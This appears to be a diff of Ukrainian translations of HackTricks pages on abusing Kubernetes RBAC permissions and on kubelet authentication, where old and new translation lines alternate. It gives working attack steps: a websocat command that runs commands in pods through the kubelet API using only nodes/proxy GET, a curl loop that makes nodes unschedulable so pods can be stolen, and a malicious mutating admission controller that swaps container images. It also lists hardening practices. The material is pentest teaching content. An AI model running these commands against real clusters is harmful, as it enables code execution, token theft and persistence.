Є **2 способи призначити K8s дозволи GCP принципалам**. У будь-якому випадку принципал також потребує дозволу **`container.clusters.get`**, щоб мати можливість отримати облікові дані для доступу до кластера, або вам потрібно буде **згенерувати свій власний файл конфігурації kubectl** (перейдіть за наступним посиланням).
|
||||
Існує **2 способи призначити K8s дозволи суб'єктам GCP**. У будь-якому випадку суб'єкту також потрібен дозвіл **`container.clusters.get`**, щоб отримати облікові дані для доступу до кластера, або вам доведеться **згенерувати власний kubectl config файл** (перейдіть за наступним посиланням).
|
||||
|
||||
> [!WARNING]
|
||||
> Коли ви звертаєтеся до K8s api endpoint, **GCP auth token буде надіслано**. Потім GCP, через K8s api endpoint, спочатку **перевірить, чи має принципал** (за електронною поштою) **будь-який доступ всередині кластера**, потім перевірить, чи має він **будь-який доступ через GCP IAM**.\
|
||||
> Якщо **будь-який** з цих пунктів **істинний**, він отримає **відповідь**. Якщо **ні**, буде надана **помилка**, що пропонує надати **дозволи через GCP IAM**.
|
||||
> При зверненні до K8s api endpoint буде відправлено **GCP auth token**. Далі GCP, через K8s api endpoint, спочатку **перевірить, чи має принципал** (за email) **доступ всередині кластера**, потім перевірить, чи має він **доступ через GCP IAM**.\
|
||||
> Якщо **хоч би одне** з цих тверджень істинне, буде **надано доступ**. Якщо **ні**, буде повернута **помилка** з підказкою надати **дозволи через GCP IAM**.
|
||||
|
||||
Отже, перший метод - це використання **GCP IAM**, дозволи K8s мають свої **еквівалентні дозволи GCP IAM**, і якщо принципал їх має, він зможе їх використовувати.
|
||||
Перший метод — використання **GCP IAM**: K8s дозволи мають свої **еквівалентні дозволи в GCP IAM**, і якщо принципал їх має, він зможе ними скористатися.
|
||||
|
||||
{{#ref}}
|
||||
../../gcp-security/gcp-privilege-escalation/gcp-container-privesc.md
|
||||
{{#endref}}
|
||||
|
||||
Другий метод - це **призначення K8s дозволів всередині кластера** шляхом ідентифікації користувача за його **електронною поштою** (включаючи облікові записи служб GCP).
|
||||
Другий метод — **призначення K8s дозволів всередині кластера** користувачу, ідентифікованому за його **email** (включно з сервісними акаунтами GCP).
|
||||
|
||||
### Створення токена serviceaccounts
|
||||
|
||||
Принципали, які можуть **створювати TokenRequests** (`serviceaccounts/token`) при зверненні до K8s api endpoint SAs (інформація з [**тут**](https://github.com/PaloAltoNetworks/rbac-police/blob/main/lib/token_request.rego)).
|
||||
Principals that can **create TokenRequests** (`serviceaccounts/token`) When talking to the K8s api endpoint SAs (info from [**here**](https://github.com/PaloAltoNetworks/rbac-police/blob/main/lib/token_request.rego)).
|
||||
|
||||
### ephemeralcontainers
|
||||
|
||||
Принципали, які можуть **`update`** або **`patch`** **`pods/ephemeralcontainers`**, можуть отримати **виконання коду на інших подах**, і потенційно **вийти** на свій вузол, додавши епhemeral контейнер з привілейованим securityContext.
|
||||
Принципали, які можуть **`update`** або **`patch`** **`pods/ephemeralcontainers`**, можуть отримати **виконання коду в інших pods**, і потенційно **вийти на ноду**, додавши ephemeral container з привілейованим securityContext
|
||||
|
||||
### ValidatingWebhookConfigurations або MutatingWebhookConfigurations
|
||||
### ValidatingWebhookConfigurations or MutatingWebhookConfigurations
|
||||
|
||||
Принципали з будь-якими з дієслів `create`, `update` або `patch` над `validatingwebhookconfigurations` або `mutatingwebhookconfigurations` можуть бути здатні **створити одну з таких webhookconfigurations**, щоб мати можливість **ескалації привілеїв**.
|
||||
Принципали з будь-яким із глаголів `create`, `update` або `patch` над `validatingwebhookconfigurations` або `mutatingwebhookconfigurations` можуть мати можливість **створити одну з таких webhookconfigurations** з метою **ескалації привілеїв**.
|
||||
|
||||
Для [`mutatingwebhookconfigurations` прикладу перевірте цей розділ цього посту](#malicious-admission-controller).
|
||||
For a [`mutatingwebhookconfigurations` example check this section of this post](#malicious-admission-controller).
|
||||
|
||||
### Ескалація
|
||||
### Escalate
|
||||
|
||||
Як ви можете прочитати в наступному розділі: [**Вбудоване запобігання ескалації привілеїв**](#built-in-privileged-escalation-prevention), принципал не може оновлювати або створювати ролі чи кластерні ролі, не маючи самих цих нових дозволів. За винятком випадків, якщо він має **дієслово `escalate` або `*`** над **`roles`** або **`clusterroles`** та відповідні параметри зв'язування.\
|
||||
Тоді він може оновлювати/створювати нові ролі, кластерні ролі з кращими дозволами, ніж ті, що він має.
|
||||
Як ви можете прочитати в наступному розділі: [**Built-in Privileged Escalation Prevention**](#built-in-privileged-escalation-prevention), принципал не може оновлювати або створювати roles чи clusterroles, якщо сам не має цих нових дозволів. За винятком випадку, коли він має **дієслово `escalate` або `*`** над **`roles`** або **`clusterroles`** та відповідні опції binding.\
|
||||
Тоді він може оновлювати/створювати нові roles, clusterroles з більшими дозволами, ніж ті, що у нього є.
|
||||
|
||||
### Проксі вузлів
|
||||
### Nodes proxy
|
||||
|
||||
Принципали з доступом до підресурсу **`nodes/proxy`** можуть **виконувати код на подах** через Kubelet API (згідно з [**цим**](https://github.com/PaloAltoNetworks/rbac-police/blob/main/lib/nodes_proxy.rego)). Більше інформації про аутентифікацію Kubelet на цій сторінці:
|
||||
Принципали з доступом до підресурсу **`nodes/proxy`** можуть **виконувати код у pods** через Kubelet API (згідно з [**this**](https://github.com/PaloAltoNetworks/rbac-police/blob/main/lib/nodes_proxy.rego)). Більше інформації про автентифікацію Kubelet на цій сторінці:
|
||||
|
||||
{{#ref}}
|
||||
../pentesting-kubernetes-services/kubelet-authentication-and-authorization.md
|
||||
{{#endref}}
|
||||
|
||||
У вас є приклад того, як отримати [**RCE, спілкуючись з авторизованим Kubelet API тут**](../pentesting-kubernetes-services/index.html#kubelet-rce).
|
||||
#### nodes/proxy GET -> Kubelet /exec via WebSocket verb confusion
|
||||
|
||||
### Видалення подів + незаплановані вузли
|
||||
- Kubelet відображає HTTP-методи на RBAC-дієслова **перед** оновленням протоколу. WebSocket handshakes must start with **HTTP GET** (`Connection: Upgrade`), so `/exec` over WebSocket is checked as **verb `get`** instead of the expected `create`.
|
||||
- `/exec`, `/run`, `/attach`, та `/portforward` явно не відображені й потрапляють у стандартний підресурс **`proxy`**, тож питання авторизації стає **`can <user> get nodes/proxy?`**
|
||||
- Якщо токен має лише **`nodes/proxy` + `get`**, прямий доступ WebSocket до kubelet на `https://<node_ip>:10250` дозволяє виконувати довільні команди в будь-якому pod на цій ноді. Той самий запит через шлях проксі API server (`/api/v1/nodes/<node>/proxy/exec/...`) відхиляється, оскільки це звичайний HTTP POST і відображається на `create`.
|
||||
- Kubelet не виконує вторинну авторизацію після оновлення до WebSocket; оцінюється лише початковий GET.
|
||||
|
||||
Принципали, які можуть **видаляти поди** (`delete` дієслово над ресурсом `pods`), або **виселяти поди** (`create` дієслово над ресурсом `pods/eviction`), або **змінювати статус пода** (доступ до `pods/status`) і можуть **зробити інші вузли незапланованими** (доступ до `nodes/status`) або **видаляти вузли** (`delete` дієслово над ресурсом `nodes`) і мають контроль над подом, можуть **вкрасти поди з інших вузлів**, щоб вони **виконувалися** на **зламаному** **вузлі**, і атакуючий може **вкрасти токени** з цих подів.
|
||||
**Прямий експлойт (потребує мережевої досяжності до kubelet та токена з `nodes/proxy` GET):**
|
||||
```bash
|
||||
kubectl auth can-i --list | grep "nodes/proxy"
|
||||
websocat --insecure \
|
||||
--header "Authorization: Bearer $TOKEN" \
|
||||
--protocol "v4.channel.k8s.io" \
|
||||
"wss://$NODE_IP:10250/exec/$NAMESPACE/$POD/$CONTAINER?output=1&error=1&command=id"
|
||||
```
|
||||
- Використовуйте **Node IP**, а не ім'я вузла. Такий самий запит з `curl -X POST` буде **Forbidden**, оскільки він відповідає `create`.
|
||||
- Прямий доступ до kubelet оминає API server, тому AuditPolicy показує лише `subjectaccessreviews` від kubelet user agent і **не реєструє команди `pods/exec`**.
|
||||
- Перелічіть уражені service accounts за допомогою [detection script](https://gist.github.com/grahamhelton/f5c8ce265161990b0847ac05a74e466a), щоб знайти токени, обмежені до `nodes/proxy` GET.
|
||||
|
||||
### Видалення pods + unschedulable nodes
|
||||
|
||||
Суб'єкти, які можуть **видаляти pods** (`delete` verb over `pods` resource), або **evict pods** (`create` verb over `pods/eviction` resource), або **змінювати статус pod** (доступ до `pods/status`) та можуть **зробити інші nodes недоступними для планування** (доступ до `nodes/status`) або **видаляти nodes** (`delete` verb over `nodes` resource) і контролюють pod, можуть **викрасти pods з інших nodes**, щоб ті **виконувалися** на **скомпрометованому** **node**, і зловмисник може **викрасти токени** з цих pods.
|
||||
```bash
|
||||
patch_node_capacity(){
|
||||
curl -s -X PATCH 127.0.0.1:8001/api/v1/nodes/$1/status -H "Content-Type: json-patch+json" -d '[{"op": "replace", "path":"/status/allocatable/pods", "value": "0"}]'
|
||||
@@ -641,43 +659,43 @@ while true; do patch_node_capacity <id_other_node>; done &
|
||||
|
||||
kubectl delete pods -n kube-system <privileged_pod_name>
|
||||
```
|
||||
### Стан сервісів (CVE-2020-8554)
|
||||
### Services status (CVE-2020-8554)
|
||||
|
||||
Принципали, які можуть **модифікувати** **`services/status`**, можуть встановити поле `status.loadBalancer.ingress.ip`, щоб експлуатувати **неусунуту CVE-2020-8554** та запускати **MiTM атаки проти кластера**. Більшість заходів щодо пом'якшення CVE-2020-8554 лише запобігають сервісам з ExternalIP (згідно з [**цим**](https://github.com/PaloAltoNetworks/rbac-police/blob/main/lib/modify_service_status_cve_2020_8554.rego)).
|
||||
Принципали, які можуть **змінювати** **`services/status`**, можуть встановити поле `status.loadBalancer.ingress.ip`, щоб використати **unfixed CVE-2020-8554** та запустити **MiTM атаки проти кластера**. Більшість пом'якшень для CVE-2020-8554 лише запобігають ExternalIP services (відповідно до [**this**](https://github.com/PaloAltoNetworks/rbac-police/blob/main/lib/modify_service_status_cve_2020_8554.rego)).
|
||||
|
||||
### Стан вузлів і подів
|
||||
### Nodes and Pods status
|
||||
|
||||
Принципали з **`update`** або **`patch`** дозволами над `nodes/status` або `pods/status` можуть модифікувати мітки, щоб вплинути на обмеження планування.
|
||||
Суб'єкти з правами **`update`** або **`patch`** над `nodes/status` або `pods/status` можуть змінювати мітки, щоб вплинути на застосовані обмеження планування.
|
||||
|
||||
## Вбудоване запобігання ескалації привілеїв
|
||||
## Built-in Privileged Escalation Prevention
|
||||
|
||||
Kubernetes має [вбудований механізм](https://kubernetes.io/docs/reference/access-authn-authz/rbac/#privilege-escalation-prevention-and-bootstrapping) для запобігання ескалації привілеїв.
|
||||
Kubernetes має [built-in mechanism](https://kubernetes.io/docs/reference/access-authn-authz/rbac/#privilege-escalation-prevention-and-bootstrapping) для запобігання privilege escalation.
|
||||
|
||||
Ця система забезпечує, що **користувачі не можуть підвищити свої привілеї, модифікуючи ролі або прив'язки ролей**. Виконання цього правила відбувається на рівні API, забезпечуючи захист навіть коли авторизатор RBAC неактивний.
|
||||
Ця система гарантує, що **users cannot elevate their privileges by modifying roles or role bindings**. Застосування цього правила відбувається на рівні API, забезпечуючи захист навіть коли RBAC authorizer неактивний.
|
||||
|
||||
Правило stipulates, що **користувач може створювати або оновлювати роль лише якщо він має всі дозволи, які містить роль**. Більше того, обсяг існуючих дозволів користувача повинен відповідати обсягу ролі, яку він намагається створити або модифікувати: або на рівні кластера для ClusterRoles, або обмежений тим самим простором імен (або на рівні кластера) для Roles.
|
||||
Правило встановлює, що **user can only create or update a role if they possess all the permissions the role comprises**. Крім того, область існуючих дозволів користувача має відповідати області ролі, яку він намагається створити або змінити: або на рівні кластера для ClusterRoles, або обмеженою до того самого namespace (або на рівні кластера) для Roles.
|
||||
|
||||
> [!WARNING]
|
||||
> Існує виняток з попереднього правила. Якщо принципал має **дію `escalate`** над **`roles`** або **`clusterroles`**, він може підвищити привілеї ролей і кластерних ролей, навіть не маючи самих дозволів.
|
||||
> Існує виняток з попереднього правила. Якщо у принципала є **verb `escalate`** над **`roles`** або **`clusterroles`**, він може підвищити привілеї ролей і clusterroles навіть не маючи цих дозволів самостійно.
|
||||
|
||||
### **Отримати та модифікувати RoleBindings/ClusterRoleBindings**
|
||||
### **Get & Patch RoleBindings/ClusterRoleBindings**
|
||||
|
||||
> [!CAUTION]
|
||||
> **Очевидно, ця техніка працювала раніше, але згідно з моїми тестами, вона більше не працює з тієї ж причини, що й у попередньому розділі. Ви не можете створити/модифікувати прив'язку ролі, щоб надати собі або іншому SA деякі привілеї, якщо у вас їх вже немає.**
|
||||
> **Apparently this technique worked before, but according to my tests it's not working anymore for the same reason explained in the previous section. Yo cannot create/modify a rolebinding to give yourself or a different SA some privileges if you don't have already.**
|
||||
|
||||
Привілей створювати Rolebindings дозволяє користувачу **прив'язувати ролі до облікового запису служби**. Цей привілей може потенційно призвести до ескалації привілеїв, оскільки **дозволяє користувачу прив'язувати адміністративні привілеї до скомпрометованого облікового запису служби.**
|
||||
Привілей створювати Rolebindings дозволяє користувачу **bind roles to a service account**. Цей привілей потенційно може призвести до privilege escalation, оскільки він **дозволяє користувачу прив'язати admin privileges до скомпрометованого service account.**
|
||||
|
||||
## Інші атаки
|
||||
## Other Attacks
|
||||
|
||||
### Додаток проксі-сайдкара
|
||||
### Sidecar proxy app
|
||||
|
||||
За замовчуванням у комунікації між подами немає жодного шифрування. Взаємна аутентифікація, двостороння, под до пода.
|
||||
За замовчуванням немає шифрування в комунікації між pods. Відсутня двостороння (mutual) автентифікація pod-to-pod.
|
||||
|
||||
#### Створити додаток проксі-сайдкара
|
||||
#### Create a sidecar proxy app
|
||||
|
||||
Контейнер-сайдкар складається просто з додавання **другого (або більше) контейнера всередині пода**.
|
||||
Sidecar container полягає просто у додаванні **другого (або більше) контейнера всередині pod**.
|
||||
|
||||
Наприклад, наступне є частиною конфігурації пода з 2 контейнерами:
|
||||
Наприклад, нижче — частина конфігурації pod з 2 контейнерами:
|
||||
```yaml
|
||||
spec:
|
||||
containers:
|
||||
@@ -687,15 +705,15 @@ image: nginx
|
||||
image: busybox
|
||||
command: ["sh","-c","<execute something in the same pod but different container>"]
|
||||
```
|
||||
Наприклад, щоб створити бекдор для існуючого пода з новим контейнером, ви можете просто додати новий контейнер у специфікацію. Зверніть увагу, що ви можете **надати більше прав** другому контейнеру, яких не буде у першого.
|
||||
Наприклад, щоб backdoor існуючий pod новим container, ви можете просто додати новий container у specification. Зверніть увагу, що ви можете **надати більше прав** другому container'у, яких перший не матиме.
|
||||
|
||||
Більше інформації на: [https://kubernetes.io/docs/tasks/configure-pod-container/security-context/](https://kubernetes.io/docs/tasks/configure-pod-container/security-context/)
|
||||
Детальніше: [https://kubernetes.io/docs/tasks/configure-pod-container/security-context/](https://kubernetes.io/docs/tasks/configure-pod-container/security-context/)
|
||||
|
||||
### Зловмисний контролер доступу
|
||||
### Зловмисний Admission Controller
|
||||
|
||||
Контролер доступу **перехоплює запити до API-сервера Kubernetes** перед збереженням об'єкта, але **після того, як запит аутентифіковано** **та авторизовано**.
|
||||
Admission controller **перехоплює запити до Kubernetes API server** перед збереженням об'єкта, але **після того, як запит аутентифіковано** **і авторизовано**.
|
||||
|
||||
Якщо зловмиснику вдасться **впровадити контролер доступу для мутації**, він зможе **модифікувати вже аутентифіковані запити**. Це може дозволити потенційно підвищити привілеї, а також зазвичай зберігатися в кластері.
|
||||
Якщо зловмиснику якимось чином вдасться **впровадити Mutation Admission Controller**, він зможе **змінювати вже аутентифіковані запити**. Це може потенційно призвести до privesc, а частіше — дозволити персистувати в кластері.
|
||||
|
||||
**Приклад з** [**https://blog.rewanthtammana.com/creating-malicious-admission-controllers**](https://blog.rewanthtammana.com/creating-malicious-admission-controllers):
|
||||
```bash
|
||||
@@ -704,30 +722,30 @@ cd malicious-admission-controller-webhook-demo
|
||||
./deploy.sh
|
||||
kubectl get po -n webhook-demo -w
|
||||
```
|
||||
Перевірте статус, щоб дізнатися, чи готовий він:
|
||||
Перевірте статус, щоб дізнатися, чи готово:
|
||||
```bash
|
||||
kubectl get mutatingwebhookconfigurations
|
||||
kubectl get deploy,svc -n webhook-demo
|
||||
```
|
||||

|
||||
|
||||
Тоді розгорніть новий pod:
|
||||
Потім розгорніть новий pod:
|
||||
```bash
|
||||
kubectl run nginx --image nginx
|
||||
kubectl get po -w
|
||||
```
|
||||
Коли ви бачите помилку `ErrImagePull`, перевірте ім'я зображення за допомогою одного з запитів:
|
||||
Коли ви бачите помилку `ErrImagePull`, перевірте ім'я образу за допомогою одного з запитів:
|
||||
```bash
|
||||
kubectl get po nginx -o=jsonpath='{.spec.containers[].image}{"\n"}'
|
||||
kubectl describe po nginx | grep "Image: "
|
||||
```
|
||||

|
||||
|
||||
Як ви можете бачити на зображенні вище, ми намагалися запустити образ `nginx`, але в кінцевому підсумку виконаний образ - `rewanthtammana/malicious-image`. Що тільки що сталося!!?
|
||||
Як видно на зображенні вище, ми намагалися запустити образ `nginx`, але в результаті було виконано образ `rewanthtammana/malicious-image`. Що тільки що сталося!?
|
||||
|
||||
#### Технічні деталі
|
||||
#### Технічні подробиці
|
||||
|
||||
Скрипт `./deploy.sh` встановлює контролер доступу до вебхуків, який модифікує запити до API Kubernetes відповідно до його конфігураційних рядків, впливаючи на спостережувані результати:
|
||||
Скрипт `./deploy.sh` встановлює mutating webhook admission controller, який змінює запити до Kubernetes API відповідно до рядків його конфігурації, впливаючи на спостережувані результати:
|
||||
```
|
||||
patches = append(patches, patchOperation{
|
||||
Op: "replace",
|
||||
@@ -735,9 +753,9 @@ Path: "/spec/containers/0/image",
|
||||
Value: "rewanthtammana/malicious-image",
|
||||
})
|
||||
```
|
||||
Вищенаведений фрагмент замінює перше зображення контейнера в кожному поді на `rewanthtammana/malicious-image`.
|
||||
The above snippet replaces the first container image in every pod with `rewanthtammana/malicious-image`.
|
||||
|
||||
## OPA Gatekeeper обход
|
||||
## OPA Gatekeeper bypass
|
||||
|
||||
{{#ref}}
|
||||
../kubernetes-opa-gatekeeper/kubernetes-opa-gatekeeper-bypass.md
|
||||
@@ -745,18 +763,18 @@ Value: "rewanthtammana/malicious-image",
|
||||
|
||||
## Найкращі практики
|
||||
|
||||
### **Вимкнення автоматичного монтування токенів облікових записів служби**
|
||||
### **Вимкнення автоматичного монтування токенів Service Account**
|
||||
|
||||
- **Поди та облікові записи служби**: За замовчуванням, поди монтують токен облікового запису служби. Для підвищення безпеки Kubernetes дозволяє вимкнути цю функцію автоматичного монтування.
|
||||
- **Як застосувати**: Встановіть `automountServiceAccountToken: false` у конфігурації облікових записів служби або подів, починаючи з версії Kubernetes 1.6.
|
||||
- **Pods and Service Accounts**: За замовчуванням pods монтують токен service account. Щоб підвищити безпеку, Kubernetes дозволяє вимкнути цю функцію автоматичного монтування.
|
||||
- **Як застосувати**: Встановіть `automountServiceAccountToken: false` у конфігурації service accounts або pods починаючи з версії Kubernetes 1.6.
|
||||
|
||||
### **Обмежене призначення користувачів у RoleBindings/ClusterRoleBindings**
|
||||
|
||||
- **Селективне включення**: Переконайтеся, що лише необхідні користувачі включені в RoleBindings або ClusterRoleBindings. Регулярно перевіряйте та видаляйте нерелевантних користувачів для підтримки високої безпеки.
|
||||
- **Вибіркове включення**: Переконайтеся, що в RoleBindings або ClusterRoleBindings включені лише необхідні користувачі. Регулярно проводьте аудит і видаляйте непотрібних користувачів для підтримки суворої безпеки.
|
||||
|
||||
### **Ролі, специфічні для простору імен, замість ролей для кластера**
|
||||
### **Ролі, обмежені namespace, замість ролей на рівні кластера**
|
||||
|
||||
- **Ролі проти ClusterRoles**: Віддавайте перевагу використанню Roles і RoleBindings для дозволів, специфічних для простору імен, замість ClusterRoles і ClusterRoleBindings, які застосовуються на рівні кластера. Цей підхід забезпечує більш точний контроль і обмежує обсяг дозволів.
|
||||
- **Roles vs. ClusterRoles**: Віддавайте перевагу використанню Roles і RoleBindings для дозволів, специфічних для namespace, замість ClusterRoles і ClusterRoleBindings, які застосовуються по всьому кластеру. Такий підхід дає більш точний контроль і обмежує зону дії дозволів.
|
||||
|
||||
### **Використовуйте автоматизовані інструменти**
|
||||
|
||||
@@ -779,5 +797,8 @@ https://github.com/aquasecurity/kube-bench
|
||||
- [**https://blog.rewanthtammana.com/creating-malicious-admission-controllers**](https://blog.rewanthtammana.com/creating-malicious-admission-controllers)
|
||||
- [**https://kubenomicon.com/Lateral_movement/CoreDNS_poisoning.html**](https://kubenomicon.com/Lateral_movement/CoreDNS_poisoning.html)
|
||||
- [**https://kubenomicon.com/**](https://kubenomicon.com/)
|
||||
- [nodes/proxy GET -> kubelet exec WebSocket bypass](https://grahamhelton.com/blog/nodes-proxy-rce)
|
||||
- [nodes/proxy GET detection script](https://gist.github.com/grahamhelton/f5c8ce265161990b0847ac05a74e466a)
|
||||
- [websocat](https://github.com/vi/websocat)
|
||||
|
||||
{{#include ../../../banners/hacktricks-training.md}}
|
||||
|
||||
+40
-37
@@ -1,25 +1,25 @@
|
||||
# Аутентифікація та авторизація Kubelet
|
||||
# Аутентифікація та авторизація kubelet
|
||||
|
||||
{{#include ../../../banners/hacktricks-training.md}}
|
||||
|
||||
## Аутентифікація Kubelet <a href="#kubelet-authentication" id="kubelet-authentication"></a>
|
||||
## Аутентифікація kubelet <a href="#kubelet-authentication" id="kubelet-authentication"></a>
|
||||
|
||||
[**З документації:**](https://kubernetes.io/docs/reference/access-authn-authz/kubelet-authn-authz/)
|
||||
[**З документа:**](https://kubernetes.io/docs/reference/access-authn-authz/kubelet-authn-authz/)
|
||||
|
||||
За замовчуванням запити до HTTPS-інтерфейсу kubelet, які не відхилені іншими налаштованими методами аутентифікації, розглядаються як анонімні запити і отримують **ім'я користувача `system:anonymous`** та **групу `system:unauthenticated`**.
|
||||
За замовчуванням запити до HTTPS-ендпоінта kubelet, які не відхиляються іншими налаштованими методами аутентифікації, вважаються анонімними запитами і отримують **ім'я користувача `system:anonymous`** та **групу `system:unauthenticated`**.
|
||||
|
||||
**3** методи **аутентифікації**:
|
||||
Існує **3** методи аутентифікації:
|
||||
|
||||
- **Анонімний** (за замовчуванням): Використовуйте параметр **`--anonymous-auth=true` або конфігурацію:**
|
||||
- **Anonymous** (за замовчуванням): встановіть параметр **`--anonymous-auth=true` або в конфігурації:**
|
||||
```json
|
||||
"authentication": {
|
||||
"anonymous": {
|
||||
"enabled": true
|
||||
},
|
||||
```
|
||||
- **Webhook**: Це **дозволить** токени **API bearer** kubectl як авторизацію (будь-який дійсний токен буде дійсним). Дозвольте це з:
|
||||
- переконайтеся, що група API `authentication.k8s.io/v1beta1` увімкнена на сервері API
|
||||
- запустіть kubelet з прапорами **`--authentication-token-webhook`** та **`--kubeconfig`** або використайте наступне налаштування:
|
||||
- **Webhook**: Це дозволить **увімкнути** kubectl **API bearer tokens** як авторизацію (будь-який дійсний токен буде прийнятий). Дозвольте це за допомогою:
|
||||
- переконайтеся, що група API `authentication.k8s.io/v1beta1` увімкнена в API-сервері
|
||||
- запустіть kubelet з флагами **`--authentication-token-webhook`** та **`--kubeconfig`** або використайте наступну настройку:
|
||||
```json
|
||||
"authentication": {
|
||||
"webhook": {
|
||||
@@ -28,11 +28,10 @@
|
||||
},
|
||||
```
|
||||
> [!NOTE]
|
||||
> Kubelet викликає **`TokenReview` API** на налаштованому API сервері, щоб **визначити інформацію про користувача** з токенів доступу
|
||||
|
||||
- **X509 клієнтські сертифікати:** Дозволяють аутентифікацію через X509 клієнтські сертифікати
|
||||
- дивіться [документацію з аутентифікації apiserver](https://kubernetes.io/docs/reference/access-authn-authz/authentication/#x509-client-certs) для отримання додаткової інформації
|
||||
- запустіть kubelet з прапором `--client-ca-file`, надаючи пакет CA для перевірки клієнтських сертифікатів. Або з конфігурацією:
|
||||
> kubelet звертається до **`TokenReview` API** на налаштованому API-сервері, щоб **визначити інформацію про користувача** з bearer tokens
|
||||
- **X509 client certificates:** Дозволяють автентифікуватися за допомогою X509 client certs
|
||||
- дивіться [apiserver authentication documentation](https://kubernetes.io/docs/reference/access-authn-authz/authentication/#x509-client-certs) для детальнішої інформації
|
||||
- запустіть kubelet з прапорцем `--client-ca-file`, надаючи CA bundle для перевірки client certificates. Або з конфігурацією:
|
||||
```json
|
||||
"authentication": {
|
||||
"x509": {
|
||||
@@ -40,16 +39,16 @@
|
||||
}
|
||||
}
|
||||
```
|
||||
## Kubelet Authorization <a href="#kubelet-authentication" id="kubelet-authentication"></a>
|
||||
## Авторизація Kubelet <a href="#kubelet-authentication" id="kubelet-authentication"></a>
|
||||
|
||||
Будь-який запит, який успішно аутентифікований (включаючи анонімний запит) **потім авторизується**. **За замовчуванням** режим авторизації - **`AlwaysAllow`**, який **дозволяє всі запити**.
|
||||
Будь-який запит, який успішно автентифіковано (включно з анонімним запитом), **потім авторизується**. За замовчуванням режим авторизації — **`AlwaysAllow`**, який **дозволяє всі запити**.
|
||||
|
||||
Однак інше можливе значення - **`webhook`** (що ви **в основному будете знаходити там**). Цей режим **перевіряє дозволи аутентифікованого користувача** для дозволу або заборони дії.
|
||||
Однак іншим можливим значенням є **`webhook`** (саме це ви **найчастіше зустрінете**). Цей режим **перевіряє права автентифікованого користувача**, щоб дозволити або заборонити виконання дії.
|
||||
|
||||
> [!WARNING]
|
||||
> Зверніть увагу, що навіть якщо **анонімна аутентифікація увімкнена**, **анонімний доступ** може **не мати жодних дозволів** для виконання будь-якої дії.
|
||||
> Зверніть увагу, що навіть якщо **анонімна автентифікація увімкнена**, **анонімний доступ** може **не мати жодних прав** для виконання жодної дії.
|
||||
|
||||
Авторизація через webhook може бути налаштована за допомогою **параметра `--authorization-mode=Webhook`** або через конфігураційний файл з:
|
||||
Авторизацію через webhook можна налаштувати за допомогою параметра **`--authorization-mode=Webhook`** або через файл конфігурації за допомогою:
|
||||
```json
|
||||
"authorization": {
|
||||
"mode": "Webhook",
|
||||
@@ -59,41 +58,45 @@
|
||||
}
|
||||
},
|
||||
```
|
||||
Kubelet викликає **`SubjectAccessReview`** API на налаштованому API сервері, щоб **визначити**, чи кожен запит є **авторизованим.**
|
||||
Kubelet викликає API **`SubjectAccessReview`** на налаштованому API-сервері, щоб **визначити**, чи кожен запит **авторизований.**
|
||||
|
||||
Kubelet авторизує API запити, використовуючи той же підхід [атрибутів запиту](https://kubernetes.io/docs/reference/access-authn-authz/authorization/#review-your-request-attributes), що й apiserver:
|
||||
Kubelet авторизує API-запити, використовуючи той самий підхід [request attributes](https://kubernetes.io/docs/reference/access-authn-authz/authorization/#review-your-request-attributes), що й apiserver:
|
||||
|
||||
- **Дія**
|
||||
- **Action**
|
||||
|
||||
| HTTP verb | request verb |
|
||||
| --------- | ------------------------------------------------------------------------------------------------------------------------------------------------------------- |
|
||||
| POST | create |
|
||||
| GET, HEAD | get (для окремих ресурсів), list (для колекцій, включаючи повний вміст об'єкта), watch (для спостереження за окремим ресурсом або колекцією ресурсів) |
|
||||
| GET, HEAD | get (for individual resources), list (for collections, including full object content), watch (for watching an individual resource or collection of resources) |
|
||||
| PUT | update |
|
||||
| PATCH | patch |
|
||||
| DELETE | delete (для окремих ресурсів), deletecollection (для колекцій) |
|
||||
| DELETE | delete (for individual resources), deletecollection (for collections) |
|
||||
|
||||
- **Ресурс**, що взаємодіє з Kubelet API, **завжди** **вузли**, а **субресурс** **визначається** з шляху вхідного запиту:
|
||||
- Ресурс, який опрацьовує Kubelet API, завжди — **nodes**, а **subresource** визначається з шляху вхідного запиту:
|
||||
|
||||
| Kubelet API | ресурс | субресурс |
|
||||
| ------------ | ------ | --------- |
|
||||
| /stats/\* | вузли | stats |
|
||||
| /metrics/\* | вузли | metrics |
|
||||
| /logs/\* | вузли | log |
|
||||
| /spec/\* | вузли | spec |
|
||||
| _всі інші_ | вузли | proxy |
|
||||
| Kubelet API | resource | subresource |
|
||||
| ------------ | -------- | ----------- |
|
||||
| /stats/\* | nodes | stats |
|
||||
| /metrics/\* | nodes | metrics |
|
||||
| /logs/\* | nodes | log |
|
||||
| /spec/\* | nodes | spec |
|
||||
| _all others_ | nodes | proxy |
|
||||
|
||||
Наприклад, наступний запит намагався отримати доступ до інформації про поди kubelet без дозволу:
|
||||
> [!NOTE]
|
||||
> Запити на основі WebSocket `/exec`, `/run`, `/attach`, and `/portforward` потрапляють у стандартний підресурс **proxy** і авторизуються з використанням початкового HTTP **GET** рукопотискання. Принципал, у якого є лише `nodes/proxy` **GET**, все одно може виконувати exec у контейнерах, якщо підключається безпосередньо до `https://<node_ip>:10250` через WebSockets. Див. the [nodes/proxy GET -> Kubelet /exec verb confusion abuse](../abusing-roles-clusterroles-in-kubernetes/README.md#nodesproxy-get---kubelet-exec-via-websocket-verb-confusion) для деталей.
|
||||
|
||||
Наприклад, наступний запит намагався отримати інформацію про pods kubelet без дозволу:
|
||||
```bash
|
||||
curl -k --header "Authorization: Bearer ${TOKEN}" 'https://172.31.28.172:10250/pods'
|
||||
Forbidden (user=system:node:ip-172-31-28-172.ec2.internal, verb=get, resource=nodes, subresource=proxy)
|
||||
```
|
||||
- Ми отримали **Заборонено**, отже запит **пройшов перевірку автентифікації**. Якщо б ні, ми отримали б лише повідомлення `Неавторизовано`.
|
||||
- Ми можемо бачити **ім'я користувача** (в даному випадку з токена)
|
||||
- Перевірте, як **ресурсом** були **вузли**, а **субресурсом** **проксі** (що має сенс з попередньою інформацією)
|
||||
- Ми отримали **Forbidden**, тому запит **passed the Authentication check**. Якби ні, ми б отримали лише повідомлення `Unauthorised`.
|
||||
- Ми бачимо **username** (у цьому випадку з token)
|
||||
- Зверніть увагу, як **resource** було **nodes** і **subresource** — **proxy** (що узгоджується з попередньою інформацією)
|
||||
|
||||
## References
|
||||
## Посилання
|
||||
|
||||
- [https://kubernetes.io/docs/reference/access-authn-authz/kubelet-authn-authz/](https://kubernetes.io/docs/reference/access-authn-authz/kubelet-authn-authz/)
|
||||
- [nodes/proxy GET -> kubelet exec via WebSocket bypass](https://grahamhelton.com/blog/nodes-proxy-rce)
|
||||
|
||||
